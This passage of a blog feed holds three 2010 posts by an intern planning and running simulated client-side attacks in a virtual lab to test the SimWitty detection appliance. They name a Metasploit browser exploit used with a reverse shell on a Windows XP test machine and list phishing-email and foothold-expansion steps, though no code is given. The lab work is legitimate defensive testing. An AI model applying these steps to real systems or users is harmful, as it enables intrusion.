and the console version seems buggy. It will nicely autoscan a system, but the most useful information you get back is the netbios name table.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;Fast-Track has a lot of potential but the documentation is very slim. There are many references to a wiki and other things at thepentest.com but the site seems to be dying or dead. Fast-Track used to be backed by SecureState.com but I'm not even sure that Dave Kennedy (the author) even works there anymore. There is no information on Fast-Track to be found at the SecureState site anymore. I will still continue to investigate this tool, just because it seems like it could be very useful.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;This leaves us with the tool of choice: Metasploit Framework 3. Metasploit is very broad in scope, and covers just about any area a pen-tester could need. Its abilities range from the 'autopwn' tool to creating custom exploit modules.&lt;br /&gt;I was able to successfully attack a test vm running Windows XP SP3. The exploit I used was exploit/windows/browser/ie_createobject. It was a good example for this lab, because it basically creates a malicious webserver that listens for connections. I connected to it from the vm using IE 6, and got exploited with no real visible clue. The page contained some random text but I'm sure this could be adjusted. I just chose a simple reverse tcp shell for the payload, and it connected back just fine. I was able to execute commands on the victim.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;Since it is obvious that Metasploit is going to be the most useful, I intend on doing much more practice with it. I need to concentrate on figuring a way to get a toolkit uploaded to the exploited computer. This way I can work on scanning the network from the inside and increasing my foothold with tools like Ettercap.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;One small note, Matriux doesn't come with a pdf viewer as far as I could tell. Both the Metasploit user manual and developer manual are pdf files. You can install a pdf viewer by typing &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sudo apt-get update&lt;/span&gt;, and then &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sudo apt-get install epdfview&lt;/span&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-566134267847192118?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/566134267847192118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/01/simwitty-internship-week-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/566134267847192118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/566134267847192118'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/01/simwitty-internship-week-3.html' title='SimWitty Internship: Week 3'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-7626765126761213047</id><published>2010-01-24T20:02:00.000-06:00</published><updated>2010-01-24T20:02:41.867-06:00</updated><title type='text'>SimWitty Internship: Week 2</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;The task this week was to choose which tools from the Matriux arsenal are most appropriate to use for this project. Restating the goal of the project will probably aid in clarity. The objective is to simulate client side type attacks through penetration testing and determine how the SimWitty appliance handles this traffic/behavior. With this in mind, the main tasks with this project should be:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Crafting email messages that link to a malicious website.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Creating the proper exploits for this website to affect workstations running Windows XP professional.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Gain control of those workstations if possible.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Attempt to increase the foothold within the network.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;With this being the goal, certain tools are ruled out immediately. I won’t be needing any tools in the Wireless class or the Bluetooth class. On the other hand, certain tools will be absolutely necessary. These are mainly the tools in the Framework class. For all the other basic classes it is more hit and miss, some will be useful and some will not. I made an Microsoft Access database that includes: the tool name, a description of the tool, whether it is necessary to the project, and a link to the tools website. I then created a report from the database, and printed the report out to pdf format (&lt;a href="http://www.simwitty.org/redmine/attachments/42/Arsenal_needed_tools.pdf"&gt;available here&lt;/a&gt;).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;I am fairly certain that the main tool I will be using is the Metasploit Framework. MSF is a very nicely packaged system that should allow me to accomplish the project goals. In looking at the Fast-Track toolset, it also has possibilities. It is (at first glance) a scripted and simplified way of interacting with MSF, but I also believe it brings some of its own functionality to the table. Other tools that will probably be useful are those whose purpose is to explore a LAN and consolidate a foothold there. An example of this class is Ettercap. It goes without saying that Wireshark and Nmap will be needed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;There are many tools in Matriux that would be useful in a real world situation that I won’t be using in this project. This is no reflection on the tool or the Matriux arsenal, this is just a specialized case. An example of this is the Reconnaissance class. In the real world, it would be necessary to discover a lot more about the target company. For client side attacks such as spear-phishing to work, the attacker must be as familiar as possible with the target.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-7626765126761213047?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/7626765126761213047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/01/simwitty-internship-week-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/7626765126761213047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/7626765126761213047'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/01/simwitty-internship-week-2.html' title='SimWitty Internship: Week 2'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-7895580370415606424</id><published>2010-01-17T15:39:00.002-06:00</published><updated>2010-01-17T15:42:56.077-06:00</updated><title type='text'>SimWitty Internship: Week 1</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;i&gt;&lt;b&gt;Overview&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;In the world of information security, threats are constantly changing and attack vectors are always moving. Security is tightened on servers, networks are more closely monitored, so attackers look for other ways to infiltrate the network. This is evidenced by the recent attack on Google (and other companies). The intrusion was accomplished by targeting specific users and compromising their workstation using a web browser 0day. The breach was most likely initiated through links sent in IM or email. As security on servers and networks is locked down, it becomes more apparent what a weak spot the workstation can be. The workstation is often a far more complex environment than a server, at least as far as getting it locked down. This is the place where the employee must work... must have certain software installed to do their job. There are often many third party components installed on the workstation, and patch management on third party components is not generally given much attention.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;In order for SimWitty to be an effective security appliance, it must be able to detect and alert on this type of workstation based behavior. One way to test this ability is through penetration testing. The penetration test must be able to simulate this type of client side based attack.&amp;nbsp; This will be the main goal of my internship with the SimWitty project: to simulate client side type attacks through penetration testing and determine how the SimWitty appliance handles this traffic/behavior.&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;i&gt;&lt;b&gt;Problem&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;li&gt;&lt;b&gt;Prevention is hard.&lt;/b&gt; There will always be new vulnerabilities discovered, and thus 0day attacks generated. For this reason, a solution that relies solely on trying to prevent attack and intrusion is likely doomed to fail.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Detection is the next best thing.&lt;/b&gt; Since prevention of every type of attack is impractical, it is vital to be able to at least detect when an attack has succeeded. Only by knowing a breach has occurred can it be stopped.&lt;/li&gt;&lt;/ul&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;i&gt;&lt;b&gt;Solution&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;b&gt;Prevent what you can and detect everything else.&lt;/b&gt; Preventing known attacks through patch management and signature based detection is the start of any good security program. The trickier question is how to detect 0day attacks on your assets.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Use pen testing to verify detection.&lt;/b&gt; Through the proper setup and execution of a pen testing exercise, detection can be verified.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Analyze, Adjust, and Re-Test.&lt;/b&gt; Only through various tests and adjustments can detection be perfected within a system.&lt;/li&gt;&lt;/ul&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;i&gt;&lt;b&gt;Plan&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;In order for a pen testing exercise to be successful, it must be planned beforehand and documented afterwards. The SimWitty project has decided to use the Matriux security distribution for it’s security testing suite, so the plan will start with Matriux.&lt;br /&gt;&lt;/div&gt;&lt;ol style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;li&gt;&lt;i style="color: #990000;"&gt;Explore the Matriux Arsenal.&lt;/i&gt; The Matriux distribution will have in the neighborhood of 300 different tools/utilities/libraries.&amp;nbsp; With this much to choose from, it becomes essential to decide which tools will be useful to the test.&lt;/li&gt;&lt;li&gt;&lt;i style="color: #990000;"&gt;Explore VirtualBox and it’s networking capabilities.&lt;/i&gt; My testing will be against a virtual network that simulates a small business. My virtualization software of choice is VirtualBox. One advantage of the VirtualBox platform is the ability of its simulated network interfaces to operate in promiscuous mode. To analyze the test results, the operator must understand and be familiar with how the test platform works.&lt;/li&gt;&lt;li&gt;&lt;i style="color: #990000;"&gt;Build an example network.&lt;/i&gt; For the testing to be relevant, it must operate against a target that resembles reality as closely as possible. I will attempt to create a representation of a small business network using virtual machines consisting of a Windows 2008 Server, a couple of Windows XP workstations, and either a SimWitty appliance or a Snort server.&lt;/li&gt;&lt;li&gt;&lt;i style="color: #990000;"&gt;Execute an attack simulation.&lt;/i&gt; Having decided on which tools from Matriux will be most useful, I will attempt an attack against my virtual network. The goal will be to simulate some sort of a client side attack that an employee at a small business might face, such as email phishing for login credentials, a malicious file attachment, or phishing with redirection to a malicious website.&lt;/li&gt;&lt;li&gt;&lt;i style="color: #990000;"&gt;Document how the attack is detected and reported on.&lt;/i&gt; I will observe the behavior of SimWitty/Snort device to see whether the attack is detected, and how the device alerts about the attack. I may also employ another machine that will sit on the network and record all traffic passively. This could allow me to create pcap files that would be useful to those developing the detection and reporting engines of SimWitty.&lt;/li&gt;&lt;li&gt;&lt;i style="color: #990000;"&gt;Document the process and results.&lt;/i&gt; As I am working on the internship, I intend to keep copious notes throughout the process. After I am done, I will use these notes to do a write-up of the entire process. This should prove helpful to any interns that may follow by allowing them to recreate beginning steps, then proceed to deeper research topics.&lt;/li&gt;&lt;/ol&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;i&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;I look forward to the SimWitty internship being not only a great challenge, but a great learning opportunity. It will test (and build) my ability to plan, my ability to think through problems, my ability to adapt and adjust, and my ability to document and communicate with others. I believe that this work should give me a firm understanding of the basics of penetration testing, and a glimpse into the kind of real world problems that an information security professional must be able to react to and deal with. &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-7895580370415606424?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/7895580370415606424/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/01/simwitty-internship-week-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/7895580370415606424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/7895580370415606424'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/01/simwitty-internship-week-1.html' title='SimWitty Internship: Week 1'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry></feed>
